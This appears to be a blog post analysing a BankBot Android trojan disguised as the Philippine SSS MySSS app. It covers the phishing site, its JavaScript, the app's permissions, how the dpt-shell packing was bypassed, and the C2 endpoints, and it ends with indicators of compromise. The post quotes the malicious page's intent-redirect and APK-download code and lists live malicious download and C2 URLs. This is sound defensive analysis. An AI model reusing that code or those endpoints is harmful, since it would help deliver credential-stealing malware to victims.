Analysis of a BankBot Malware disguised as Social Security System of the Philippines

Introduction

Someone in a private group recently shared a story involving his friend, not really tech-savvy, who fell victim to a cyberattack. The whole thing started with a message on Facebook Messenger. It looked like it came from an employee of the Philippines’ Social Security System (SSS). It wasn’t real, of course. But at first glance, it seemed legit. And honestly, I can understand why.

Government agencies in the Philippines do sometimes use social media to communicate with citizens. So if you’re not particularly aware of phishing tactics, or if you're used to seeing government updates online, it wouldn't seem strange to get a message like that.

The message included a link, which led to what appeared to be a government website. From there, it prompted the victim to download a mobile app, something that looked like an official MySSS app. But once installed, the app began running malicious stuff. And that’s when things started to spiral.

In this blog, I’ll walk you through what the app actually does behind the scenes, how it tricks users, and why BankBot (yes, it's still around in 2025) is still a real concern. This particular campaign targeted users in the Philippines, and by mimicking an actual government app, it managed to feel authentic, especially to those who aren't familiar with mobile security or the usual red flags.

What is BankBot?

BankBot is a well-known banking trojan that has evolved over the years. There are multiple variants out there. It’s primarily designed to do the following:

• Steal banking credentials through fake overlays or login screen that mimic real apps
• Intercept SMS to bypass 2FA/MFA
• Abuse Accessibility Services to perform auto clicks, steal data, or even record and lock the device
• Exfiltrate sensitive data to a Command and Control (C2) server

Variants of it have been around since 2017, and despite Google’s Play Protect efforts, samples keep resurfacing, usually spread through third-party stores or social engineering schemes.

Technical Analysis

Fake Website and Mobile App

I started with a basic OSINT check on the URL that was sent to the victim. Nothing fancy. Just one of those quick WHOIS lookups to get a feel for how shady the domain might be.

Turns out, it was brand new! Registered just a week old at the time of writing this blog.

The domain's registrar is Dominet (HK) Limited which is owned by Alibaba Cloud. Interestingly, it was previously named as Alibaba.com Singapore E-Commerce Private Limited.

For DNS, the domain uses Cloudflare, which isn’t surprising. A lot of phishing campaigns hide behind Cloudflare to mask the real origin IPs. I tried checking the DNS records using the same site, hoping to find more subdomains. Maybe they were impersonating other government platforms or even banks.

But nope. Only one subdomain showed up and it is still misss.molbiie.com.

Next, I visited the link and this is what led him to download the malicious mobile app.

Looking at the source code, it turns out the site pulls its content from https://misss.molbiee.com/x/page. It then decodes that content and uses it to display the main index page.

If you want to take a look at the ciphertext, I’ve published a copy of it in this GitHub gist.

Now, focusing on the JavaScript in the source code, the first thing I noticed is that it specifically targets Android devices. If a user selects iOS when trying to download the app, the site simply shows a message saying the system is being upgraded. It’s a subtle way of filtering out non-Android users.

function clickIOS() {
  alert("The system is being upgraded")
}

Another interesting part of the script is the use of a malicious intent URI. This is an Android-specific redirection trick that uses the intent:// scheme to launch Chrome and push the user toward installing an APK. It’s a pretty direct method of initiating the download on Android devices.

if (
    /Chrome/.test(window.navigator.userAgent) &&
    !Boolean(window.chrome)
) {
    window.location.href =
        "intent://" +
        window.location.href.split("://")[1] +
        "#Intent;scheme=" +
        window.location.href.split("://")[0] +
        ";package=com.android.chrome;end;"
}

Then the script below simply names the malicious file as MySSS.apk

const url = decodeURIComponent("http:\/\/misss.molbiie.com\/x\/xc?name=MySSS")
const contentLength = Number("17766999".replaceAll(",", ""))
const urlObj = new URL(url)
var name = urlObj.pathname.split("/").pop()
if (urlObj.searchParams.get("name")) {
    name = urlObj.searchParams.get("name")
} else if (name.includes(".apk")) {
    name += ".apk"
}

Once the mobile app is installed and launched on an Android device, it looks like this:

In the first screenshot, it mimics both the icon and the name of the official MySSS app.

The second screenshot shows a login screen that looks fairly normal at first glance, but it's not the same as the legitimate MySSS login page. The differences are subtle and might go unnoticed by someone who isn’t familiar with the real app.

It’s also worth mentioning that the login is the only actual functionality in the app. There’s nothing beyond, no menus, no other features, just the fake login screen.

In the third screenshot, I found 5 different widgets. Each appears to serve a specific function, although it's not clear what all of them are for.

Static Analysis

I fired up an open-source tool (just something quick and lightweight) to get an initial feel for the app. Mostly just to pull out basic metadata and check what kinds of permissions it was asking for.

Turns out, this particular app is requesting a handful of dangerous permissions. Stuff you wouldn’t typically expect from a legitimate app unless it had a really good reason:

android.permission.ACCESS_BACKGROUND_LOCATION	
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.CAMERA
android.permission.MANAGE_EXTERNAL_STORAGE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECORD_AUDIO
android.permission.SYSTEM_ALERT_WINDOW
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.GET_INSTALLED_APPS
android.permission.GRANT_RUNTIME_PERMISSIONS
android.permission.READ_PRIVILEGED_PHONE_STATE
android.permission.SYSTEM_OVERLAY_WINDOW

I tried digging into the Java source code, hoping to make sense of the app’s logic... but yeah, no luck there.

The code was completely protected using dpt-shell, which is a kind of Android Dex protector. If you haven’t seen it before, what it does is remove the real code from the Dex files and replaces it with empty placeholders. So when you try to open the app's Dex file with tools like JADX, you’ll see nothing related to the app.

Here is the link of the tool hosted on GitHub:

GitHub - luoyesiqiu/dpt-shell: An android Dex protects shell implementation

An android Dex protects shell implementation. Contribute to luoyesiqiu/dpt-shell development by creating an account on GitHub.

GitHubluoyesiqiu

Finding Dex

After discovering that the app was protected with dpt-shell, the next question was, how do we get past it?

I spent a bit of time reading about how the tool actually works under the hood. Eventually, I found something useful. Apparently, the original classes.dex file doesn’t just vanish... it’s actually compressed into a ZIP archive.

This was the code snippet:

public void compressDexFiles(String packageDir) {
  ZipUtils.compress(getDexFiles(packageDir),getOutAssetsDir(packageDir).getAbsolutePath() + File.separator + "i11111i111.zip");
}

I installed the app onto a virtual Android device and launched it. From there, I popped into the device's shell and poked around inside the app's data directory to look for the zip file.

Sure enough, there it was.

The ZIP file containing the real DEX was right there in plain sight once the app had been run. All I had to do was pull the file back to the host system, unzip it, and boom, we had access to the actual classes.dex.

Static Analysis (Again)

With a classes.dex file in hand, we could now load it into a decompiler and finally start seeing meaningful stuff.

First thing we looked at? The BuildConfig class. Why? Because sometimes developers stash interesting stuff in there.

As expected, there is a hardcoded encryptionKey, along with a bunch of encoded/encrypted strings probably using Base64 or AES.

Another string that caught my attention was this:

public static final String loginApi = "x/login";

Earlier, we already knew the app had some kind of login functionality. So I decided to dig deeper into where and how this loginApi endpoint was actually used.

I traced it back to the Login class. There, things got a bit more interesting.

Inside, I found the structure of the API request it was sending. The usual suspects were all there: phone, username, and password.

I know we’re mostly focusing on static analysis here, but I got a bit curious. So I fired up a proxy tool to watch what actually happens when the app tries to log in.

Here’s what I captured:

A few things jumped out immediately.

• I was able to identify the plaintext value of the BaseAddress we found earlier in the BuildConfig class: https://rpc.lxphli.top = cqGMBDH6kxUGeKFJO3ItTw==
• The victim's credentials are being added directly into the URL as the values of query parameters.
• There’s an encrypted string in the body of the request. It might be the same data, or maybe even something less sensitive, than what’s already exposed in the query string. They just wanted to encrypt it anyway, I guess. 😏

Jumping back into the source code, I've found another class that stood out immediately by its name alone: VietBankWindow

After finding the class above, I decided to go hunting through the rest of the source tree.

And yeah… turns out VietBank wasn’t alone.

I came across several other classes with naming patterns that used acronyms of well-known banks. Here are the list of banks:

While continuing to hunt through the source code, I found something pretty interesting.

An AES Key, hardcoded in plain text!

As I kept tracing the code, mostly jumping through classes and strings, I came across a bunch of GET and POST endpoints.

Then I found several monitoring services for Audio, Camera, and Screen.

There’s also a dedicated SMS monitoring service in the app.

Just when I thought I had seen most of what this malware had to offer, something subtle popped up almost like an afterthought. But it turned out to be one of the most interesting components.

Instead of hardcoding all C2 infrastructure directly in the Java source (like the BaseAddress we saw earlier), I found a WebSocket endpoint quietly stored in an XML file.

C2 Server = wss://rpc.lxphli.top/x/command?token=

And that's the end of this analysis.

Final Thoughts

What’s scary about all this is that most people would have no idea what the app is actually doing after they install it on their devices.

To someone who isn't technical, it just looks like any other app. There’s nothing that obviously signals it’s capturing SMS messages or quietly connecting to a C2 server through WebSocket.

What makes it even more concerning is that cybercriminals aren’t standing still. They’re constantly adapting, evolving, testing new ways to get around the protections we think are in place.

So if you're not in tech, or even if you are but security isn't your focus, it's worth making security awareness a regular habit. Not just something you check off once a year.

Indicators of Compromise (IOCs)

Social Media

App Data

Links

http://molbiie.com
http://misss.molbiie.com
http://misss.molbiie.com/x/page
http://misss.molbiie.com/x/xc?name=MySSS
https://rpc.lxphli.top/
https://rpc.lxphli.top/x/login

C2 Server

wss://rpc.lxphli.top/x/command?token=

MITRE ATT&CK Framework Mapping